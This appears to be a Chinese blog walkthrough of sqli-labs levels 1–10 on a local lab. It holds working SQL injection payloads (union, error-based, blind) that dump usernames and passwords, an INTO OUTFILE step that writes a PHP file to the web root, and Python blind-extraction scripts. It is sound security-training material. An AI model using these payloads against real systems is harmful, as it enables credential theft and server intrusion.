网络安全之sql靶场（1-10）

sql靶场（1-10）

第一关（字符型注入）

判断注入是否存在

bash 复制代码

http://127.0.0.1/sqllabs/Less-1/?id=1

判断sql语句是否拼接

bash 复制代码

http://127.0.0.1/sqllabs/Less-1/?id=1'
http://127.0.0.1/sqllabs/Less-1/?id=1'--+

可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显，所以我们可以使用联合查询。

联合注入

爆列

首先知道表格有几列，如果报错就是超出列数，显示正常则是没有超出列数（使用二分法，先查看一个大的数值，显示正常，则翻倍，报错则缩小一半数值）

bash 复制代码

http://127.0.0.1/sqllabs/Less-1/?id=1' order by 5--+
http://127.0.0.1/sqllabs/Less-1/?id=1' order by 3--+
http://127.0.0.1/sqllabs/Less-1/?id=1' order by 4--+

爆显示位

由于我们已经知道了这个表有三列，所以我们使用联合查询来爆出显示位

bash 复制代码

http://127.0.0.1/sqllabs/Less-1/?id=1' union select 1,2,3--+
http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,3--+

由于只能查看第一组数据，所以我们需要修改id值，让他要么远超这个数据表，要不小于0

爆数据库名和版本号

我们知道了回显的列数是第二列和第三列，所以我们可以直接爆出数据库名和版本号

bash 复制代码

http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,database(),version()--+

爆表

bash 复制代码

http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

information_schema.tables表示该数据库下的tables表，group_concat() 是将查询结果连接起来，如果不用group_concat（）查询到的结果只有user。

爆字段名

我们通过sql语句查询后的结果知道当前数据库有四个表，根据表名猜测账户和密码可能在users表中

bash 复制代码

http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。

由查询到的结果，猜测username和password是账户名和密码

获取用户名和密码

bash 复制代码

http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,group_concat(username ,0x3a , password) from users--+

第二关（数字型注入）

判断是否存在注入

bash 复制代码

http://127.0.0.1/sqllabs/Less-2/?id=1

判断sql语句是否为拼接

bash 复制代码

http://127.0.0.1/sqllabs/Less-2/?id=1'
http://127.0.0.1/sqllabs/Less-2/?id=1'--+
http://127.0.0.1/sqllabs/Less-2/?id=1
http://127.0.0.1/sqllabs/Less-2/?id=1--+

输入单引号，根据报错信息确定咱们输入的内容被原封不动的带入到数据库中，也可叫做数字型注入,就是，把第一题中id=1后面的单引号去掉

联合注入

爆列（和第一关一样的思想）

bash 复制代码

http://127.0.0.1/sqllabs/Less-2/?id=1 order by 5--+
http://127.0.0.1/sqllabs/Less-2/?id=1 order by 3--+
http://127.0.0.1/sqllabs/Less-2/?id=1 order by 4--+

爆显示位

bash 复制代码

http://127.0.0.1/sqllabs/Less-2/?id=1 union select 1,2,3--+
http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,3--+

爆数据库名和版本号

bash 复制代码

http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,database(),version()--+

爆表

bash 复制代码

http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

爆字段名

bash 复制代码

http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取用户名和密码

bash 复制代码

http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,group_concat(username ,0x3a , password) from users--+

第三关

判断是否存在注入

bash 复制代码

http://127.0.0.1/sqllabs/Less-3/?id=1

判断sql语句是否为拼接

bash 复制代码

http://127.0.0.1/sqllabs/Less-3/?id=1'
http://127.0.0.1/sqllabs/Less-3/?id=1'--+
http://127.0.0.1/sqllabs/Less-3/?id=1')
http://127.0.0.1/sqllabs/Less-3/?id=1')--+

输入单引号，根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了，猜想一下咱们输入1在数据库语句中的位置，形如select ... from ... where id=( '1') ...，在第一题中id=1'的后面单引号加上），其它保持不变就行了。

联合注入

爆列

bash 复制代码

http://127.0.0.1/sqllabs/Less-3/?id=1') order by 5--+
http://127.0.0.1/sqllabs/Less-3/?id=1') order by 3--+
http://127.0.0.1/sqllabs/Less-3/?id=1') order by 4--+

爆显示位

bash 复制代码

http://127.0.0.1/sqllabs/Less-3/?id=1') union select 1,2,3--+
http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,3--+

爆数据库名和版本号

bash 复制代码

http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,database(),version()--+

爆表

bash 复制代码

http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

爆字段名

bash 复制代码

http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取用户名和密码

bash 复制代码

http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,group_concat(username ,0x3a , password) from users--+

第四关

判断是都存在注入

bash 复制代码

http://127.0.0.1/sqllabs/Less-4/?id=1

判断sql语句是否为拼接

bash 复制代码

http://127.0.0.1/sqllabs/Less-4/?id=1'
http://127.0.0.1/sqllabs/Less-4/?id=1'--+
http://127.0.0.1/sqllabs/Less-4/?id=1"
http://127.0.0.1/sqllabs/Less-4/?id=1"--+
http://127.0.0.1/sqllabs/Less-4/?id=1")
http://127.0.0.1/sqllabs/Less-4/?id=1")--+

输入单引号，页面无任何变化，输入双引号，页面报错，根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中，猜想一下：select ... from ... where id=("1") ...，把第一题中1后面的引号换成双引号加）就可以了。

联合注入

爆列

bash 复制代码

http://127.0.0.1/sqllabs/Less-4/?id=1") order by 5--+
http://127.0.0.1/sqllabs/Less-4/?id=1") order by 3--+
http://127.0.0.1/sqllabs/Less-4/?id=1") order by 4--+

爆显示位

bash 复制代码

http://127.0.0.1/sqllabs/Less-4/?id=-1") union select 1,2,3--+

爆数据库名和版本号

bash 复制代码

http://127.0.0.1/sqllabs/Less-4/?id=-1") union select 1,database(),version()--+

爆表

bash 复制代码

http://127.0.0.1/sqllabs/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

爆字段名

bash 复制代码

http://127.0.0.1/sqllabs/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users'--+

获取用户名和密码

bash 复制代码

http://127.0.0.1/sqllabs/Less-4/?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+

第五关（报错注入）

判断是否存在注入

bash 复制代码

http://127.0.0.1/sqllabs/Less-5/?id=1

判断sql语句是否为拼接

bash 复制代码

http://127.0.0.1/sqllabs/Less-5/?id=1'
http://127.0.0.1/sqllabs/Less-5/?id=1'--+

但是无论我们输入什么命令都是没有回显，很明显的一件事就是这一关对于请求对错出现不一样，可以说是压根不报。这个时候我们用联合注入就没有用，因为联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注，报错注入。布尔盲注主要用length(),ascii() ,substr()这三个函数，但是我这一关不打算用布尔盲注。报错注入主要使用updatexml（）、extractvalue（）、floor（）三个函数。

报错注入

updatexml（）

爆数据库名和版本号

bash 复制代码

http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat('~',(select version()),'~'),1)--+

爆表

bash 复制代码

http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

爆字段名

bash 复制代码

http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)--+

获取用户名和密码

由于updatexml（）函数最大容纳32字节，就会导致数据不完整，所以我们使用limit（）函数进行分段截取，limit（）函数使用方法是limit（*，1）*是从0开始的数字。自己爆完整的用户名和密码，我这里只试了前两个。

bash 复制代码

http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

extractvalue（）

代码我放这里了，有兴趣的朋友可以自己了解extractvalue（）。自己爆完整的用户名和密码，我这里只试了前两个。

bash 复制代码

http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select version()),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e))--+

floor（）

代码我放这里了，有兴趣的朋友可以自己了解floor（）。自己爆完整的用户名和密码，我这里只试了前两个。

bash 复制代码

http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

第六关

判断是否存在注入

bash 复制代码

http://127.0.0.1/sqllabs/Less-6/?id=1

判断sql语句是否拼接

bash 复制代码

http://127.0.0.1/sqllabs/Less-6/?id=1'
http://127.0.0.1/sqllabs/Less-6/?id=1"
http://127.0.0.1/sqllabs/Less-6/?id=1"--+

通过测试，发现这一关是双引号闭合，但是无论我们输入什么命令都是没有回显，很明显的一件事就是这一关和第五关一样。这个时候我们用联合注入就没有用，因为联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注，报错注入。布尔盲注主要用length(),ascii() ,substr()这三个函数，但是我这一关不打算用布尔盲注。报错注入主要使用updatexml（）、extractvalue（）、floor（）三个函数。

报错注入

由于和第五关的类型一样，这里我就只放了代码

updatexml（）

bash 复制代码

http://127.0.0.1/sqllabs/Less-6/?id=1" and updatexml(1,concat('~',(select database()),'~'),1)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and updatexml(1,concat('~',(select version()),'~'),1)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

extractvalue（）

bash 复制代码

http://127.0.0.1/sqllabs/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select version()),0x7e))--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e))--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e))--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e))--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e))--+

floor（）

bash 复制代码

http://127.0.0.1/sqllabs/Less-6/?id=1" and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and (select 1 from (select count(*),concat(concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and (select 1 from (select count(*),concat(concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-6/?id=1" and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

第七关

查看页面

有这个页面可以看出来这关应该是mysql的outfile漏洞利用，也就是mysql如何上传webshell，但是这个在实战中一般利用不到，因为要用这个漏洞必须要满足三个条件

1.mysql用户权限必须为root权限（但是你都有root权限了，还需要用这个漏洞吗）

2.secure_file-priv 必须为空值（在这个靶场环境中可以为靶场物理路径）（不是null）

3.知道网站的物理路径

所以在实战中一般用不到这个漏洞，但是我们现在在打靶场，所以还是攻克这一关吧，

由于是靶场环境，所以我用的就是root权限

修改secure_flie_priv（在mysql的my.ini文件中修改）

自己增加这个参数

查看

因为是自己打靶场，所以靶场物理路径我是知道的，这样有助于使用outfile上传webshell。

这三个条件现在都满足了，所以开始攻克第七关

bash 复制代码

http://127.0.0.1/sqllabs/less-7/?id=-1%27))%20union%20select%201,user(),%27%3C?php%20phpinfo();?%3E%27%20into%20outfile%20%22F:\\phpstudy_pro\\WWW\\sqllabs\\webshell.php%22--+

很明显，我们上传webshell成功了，（我在这里没写一句话木马，主要是没必要）

第八关（布尔盲注）

判断是否存在注入

bash 复制代码

http://127.0.0.1/sqllabs/Less-8/?id=1

判断sql语句是否拼接

bash 复制代码

http://127.0.0.1/sqllabs/Less-8/?id=1'--+

这一关联合查询和报错注入都不回显了，对的会显示You are in...........,错误啥都不会显示。我们看到这个情况就能猜想到这两种情况和布尔类型是一样的，所以我们可以使用布尔盲注。但是由于布尔盲注使用了length(),ascii() ,substr()这三个函数，由于这种情况会使手工注入变得十分繁琐，我们使用python编写脚本，依次进行遍历，就会比手工注入快速多了。

这一关使用python脚本进行遍历也有两种方法，一种是依次遍历，另一种是使用二分法快速遍历，这里我推荐和使用的是二分法，这样可以减少好多算力。

代码

爆数据库名

python 复制代码

import requests

#第8关
def inject_database(url):
    name = ''
    for i in range(1, 20):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            payload = "?id=1' and ascii(substr(database(),%d,1))> %d--+" % (i, mid)
            r = requests.get(url + payload)
            if "You are in..........." in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-8/'
    inject_database(url)

结果

爆表

python 复制代码

import requests

#第8关
def inject_database(url):
    name = ''
    for i in range(1, 32):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            payload = "?id=1' and ascii(substr(concat((select group_concat(table_name)from information_schema.tables where table_schema='security')),%d,1))> %d--+" % (i, mid)
            r = requests.get(url + payload)
            if "You are in..........." in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-8/'
    inject_database(url)

结果

爆字段名

python 复制代码

import requests

#第8关
def inject_database(url):
    name = ''
    for i in range(1, 32):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            payload = "?id=1' and ascii(substr(concat((select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users')),%d,1))> %d--+" % (i, mid)
            r = requests.get(url + payload)
            if "You are in..........." in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name



if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-8/'
    inject_database(url)

结果

获取用户名和密码

python 复制代码

import requests

#第8关
def inject_database(url):
    name = ''
    for i in range(1, 1000):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            payload = "?id=1' and ascii(substr(concat((select group_concat(username ,0x3a , password) from users)),%d,1))> %d--+" % (i, mid)
            r = requests.get(url + payload)
            if "You are in..........." in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name



if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-8/'
    inject_database(url)

结果

第九关（时间盲注）

判断是否存在注入

bash 复制代码

http://127.0.0.1/sqllabs/Less-9/?id=1

判断sql语句是否拼接

bash 复制代码

http://127.0.0.1/sqllabs/Less-9/?id=1'--+

这一关输入的sql语句无论对错，都只会显示You are in...........，因此，我们判断这一关需要时间盲注来进行闯关，同理我在这里会用python脚本来快速获取想要的东西。

代码

爆数据库

python 复制代码

import requests
import time


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "?id=1' and if(ascii(substr(database(),%d,1))>%d, sleep(1), 0)--+" % (i, mid)
            start_time = time.time()
            r = requests.get(url + payload)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-9/'
    inject_database(url)

结果

爆表

python 复制代码

import requests
import time

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), %d, 1)) > %d, sleep(3), 0)--+" % (i, mid)
            start_time = time.time()
            r = requests.get(url + payload)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-9/'
    inject_database(url)

结果

爆字段名

python 复制代码

import requests
import time

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), %d, 1)) > %d, sleep(3), 0)--+" % (i, mid)
            start_time = time.time()
            r = requests.get(url + payload)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-9/'
    inject_database(url)

结果

获取用户名和密码

python 复制代码

import requests
import time

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "?id=1' and if(ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d, sleep(3), 0)--+" % (i, mid)
            start_time = time.time()
            r = requests.get(url + payload)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-9/'
    inject_database(url)

结果

第十关

查看源代码后，发现第十关和第九关只是闭合方式不同

所以我就直接把脚本和结果发出来啦，有兴趣的可以查看源代码

python 复制代码

import requests
import time


# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         low = 32
#         high = 128
#         mid = (low + high) // 2
#         while low < high:
#             payload = '?id=1" and if(ascii(substr(database(),%d,1))>%d, sleep(1), 0)--+' % (i, mid)
#             start_time = time.time()
#             r = requests.get(url + payload)
#             end_time = time.time()
#             if end_time - start_time >= 1:
#                 low = mid + 1
#             else:
#                 high = mid
#             mid = (low + high) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name


# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         low = 32
#         high = 128
#         mid = (low + high) // 2
#         while low < high:
#             payload = '?id=1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = "security"), %d, 1)) > %d, sleep(3), 0)--+' % (i, mid)
#             start_time = time.time()
#             r = requests.get(url + payload)
#             end_time = time.time()
#             if end_time - start_time >= 1:
#                 low = mid + 1
#             else:
#                 high = mid
#             mid = (low + high) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         low = 32
#         high = 128
#         mid = (low + high) // 2
#         while low < high:
#             payload = '?id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"), %d, 1)) > %d, sleep(3), 0)--+' % (i, mid)
#             start_time = time.time()
#             r = requests.get(url + payload)
#             end_time = time.time()
#             if end_time - start_time >= 1:
#                 low = mid + 1
#             else:
#                 high = mid
#             mid = (low + high) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = '?id=1" and if(ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d, sleep(1), 0)--+' % (i, mid)
            start_time = time.time()
            r = requests.get(url + payload)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-10/'
    inject_database(url)

结果

总结

以上是sql靶场的一个小阶段，做完后可以尝试去解读靶场源代码，源代码也挺有意思的，后续还会继续更新sql靶场注入的。